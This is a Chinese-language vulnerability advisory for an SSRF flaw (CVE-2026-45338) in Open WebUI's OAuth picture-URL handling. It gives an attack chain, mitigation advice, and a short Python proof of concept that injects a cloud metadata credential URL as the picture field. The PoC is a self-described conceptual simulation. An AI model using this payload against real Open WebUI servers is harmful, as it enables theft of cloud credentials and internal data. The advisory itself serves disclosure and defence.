IPBUF安全漏洞报告
English
CVE-2026-45338 CVSS 7.7 高危

CVE-2026-45338 Open WebUI SSRF漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45338
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

SSRFOpen WebUICVE-2026-45338OAuth

漏洞概述

Open WebUI是一个自托管的人工智能平台。在0.9.0版本之前,该平台存在服务器端请求伪造(SSRF)漏洞。漏洞位于backend/open_webui/utils/oauth.py文件的_process_picture_url()函数中。该函数在处理OAuth图片声明的URL时,未调用validate_url()进行验证,直接获取任意URL。攻击者可利用此漏洞强制服务器向内部资源发起HTTP请求,并窃取完整的响应数据。该漏洞已在0.9.0版本中修复。

技术细节

该漏洞的根本原因在于Open WebUI处理OAuth流程中的用户头像URL时缺乏严格的输入验证。具体来说,在backend/open_webui/utils/oauth.py文件的第1338行左右的_process_picture_url()函数中,代码直接从OAuth提供的picture claims中获取URL并请求该资源,而未通过validate_url()函数检查URL的合法性或范围。由于攻击者可以控制OAuth提供商返回的picture字段(或者在特定伪造场景下),他们可以指定内网地址(如http://127.0.0.1:8080, http://169.254.169.254/latest/meta-data/等)。服务器作为请求方,会访问这些内部地址并将响应返回给攻击者。由于CVSS向量中S:C(范围改变),这可能导致进一步的内网探测或敏感元数据泄露。利用条件需要低权限账号(PR:L),且无需用户交互。

攻击链分析

STEP 1
侦察
攻击者识别目标运行的是Open WebUI 0.9.0之前的版本。
STEP 2
漏洞利用
攻击者利用低权限账户(或匿名访问,取决于OAuth配置)发起OAuth登录流程,并在OAuth提供者返回的picture字段中注入恶意的内部URL(如云元数据服务地址)。
STEP 3
服务端请求
Open WebUI服务器在_process_picture_url()函数中处理登录信息,未经验证直接向攻击者指定的内部URL发起HTTP请求。
STEP 4
数据泄露
服务器将内部资源的响应内容返回给攻击者,导致敏感信息(如内网拓扑、云凭证)泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Open WebUI instance) # The vulnerability is triggered during OAuth processing where the 'picture' URL is fetched. target_host = "http://localhost:3000" malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name" # Conceptual PoC simulating the vulnerable function call # In a real scenario, this would be part of the OAuth response payload. payload_data = { "user_info": { "picture": malicious_url # Injection point } } print(f"[+] Attempting to trigger SSRF against: {malicious_url}") # This simulates the server-side request made by the vulnerable function try: response = requests.get(malicious_url, timeout=5) print(f"[+] Response Status: {response.status_code}") print("[+] Exfiltrated Content:") print(response.text) except Exception as e: print(f"[-] Request failed: {e}")

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施
建议立即将Open WebUI升级到0.9.0版本以修复此漏洞。若暂时无法升级,应在网络环境中实施严格的出站访问控制策略(Egress Filtering),阻断应用服务器对127.0.0.1、169.254.169.254等敏感内网地址的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表